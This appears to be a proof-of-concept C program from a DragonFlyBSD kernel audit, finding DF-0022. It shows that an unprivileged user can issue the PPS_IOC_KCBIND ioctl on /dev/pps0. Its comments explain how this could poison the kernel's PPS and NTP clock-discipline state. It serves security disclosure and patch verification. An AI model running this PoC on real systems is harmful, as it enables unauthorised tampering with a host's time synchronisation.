DragonFlyBSD Kernel Audit
DF-0022 / kcbind.c
← back to finding ↓ download raw
/*
 * DF-0022 PoC - PPS_IOC_KCBIND missing privilege check.
 *
 * pps_ioctl() (sys/kern/kern_clock.c:1680-1694) honors an unprivileged
 * PPS_IOC_KCBIND that binds the kernel hardpps() consumer
 * (pps->kcmode = kapi->edge at :1690) with NO caps_priv_check_self(). The
 * code even carries an "XXX Only root should be able to do this" comment
 * (:1683) acknowledging the omission. The pps(4) cdev is created mode 0644
 * (sys/dev/misc/pps/pps.c:103-104), so any local user can open /dev/pps0 and
 * issue the ioctl.
 *
 * On a kernel built with 'options PPS_SYNC', a bound source drives hardpps()
 * (kern_ntptime.c), poisoning the global pps_freq/pps_jitter/pps_tf[]/
 * pps_valid/STA_PPSSIGNAL state used by ntp_update_second(). A subsequently-
 * started privileged ntpd that enables STA_PPSFREQ/STA_PPSTIME then disciplines
 * the clock against attacker-influenced values (bounded by MAXFREQ/MAXPHASE).
 *
 * This PoC demonstrates the privilege bypass: the ioctl SUCCEEDS for an
 * unprivileged user (it should return EPERM). Full clock-steering also needs a
 * PPS event source the user can drive + a privileged PPS-disciplined ntpd.
 *
 * Build (DragonFlyBSD, needs <sys/timepps.h>):  cc -o kcbind kcbind.c
 * Run as an UNPRIVILEGED user:  ./kcbind /dev/pps0
 *
 * Expected (bug present): prints "KCBIND succeeded (privilege bypass)". On a
 * fixed kernel it prints "KCBIND rejected: EPERM".
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/timepps.h>
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/pps0";
	int fd = open(dev, O_RDWR | O_NONBLOCK);
	if (fd < 0) {
		perror("open");
		fprintf(stderr, "(if /dev/pps0 is absent or root-only on this "
			"box, the bug is still present in-kernel; this PoC needs a "
			"world-openable pps(4) node)\n");
		return 1;
	}

	struct pps_kcbind_args kb;
	memset(&kb, 0, sizeof(kb));
	kb.kernel_consumer = PPS_KC_HARDPPS;	/* the only accepted value */
	kb.edge = PPS_CAPTUREASSERT;
	kb.tsformat = PPS_TSFMT_TSPEC;

	if (ioctl(fd, PPS_IOC_KCBIND, &kb) == 0) {
		printf("[+] KCBIND succeeded (privilege bypass) on %s as uid=%d\n",
		       dev, (int)getuid());
		printf("[+] hardpps() is now bound for this source; pps_freq/state\n"
		       "    can be steered via subsequent PPS events (needs PPS_SYNC\n"
		       "    kernel + a PPS event source + a PPS-disciplined ntpd for\n"
		       "    clock impact).\n");
	} else {
		printf("[-] KCBIND rejected: %s (errno=%d)\n", strerror(errno), errno);
		printf("    (on a fixed kernel this is EPERM=1 for unprivileged users)\n");
	}
	close(fd);
	return 0;
}